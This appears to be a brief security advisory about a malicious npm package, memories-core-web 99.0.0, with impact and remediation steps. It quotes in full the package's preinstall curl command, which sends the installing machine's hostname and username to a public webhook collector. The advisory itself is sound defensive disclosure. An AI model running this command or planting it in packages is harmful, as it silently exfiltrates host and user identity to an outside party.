|---|---|---|
| 99.0.0 | 2026-10-22 | PROTET-NPM-2026-7 |
What it does
The package runs curl -s https://webhook.site/b2967b0a-1b24-4670-8ae1-e09e3cf272c4/?pkg=memories-core-web&host=$(hostname)&user=$(whoami) from its preinstall script. The request sends the package name, the host name and the user name of the installing machine to a public webhook collector. The package has no legitimate function.
Impact: whoever owns the webhook learns which hosts and users install the package.
Remediation: remove the package from all projects and lockfiles and review the hosts that installed it.
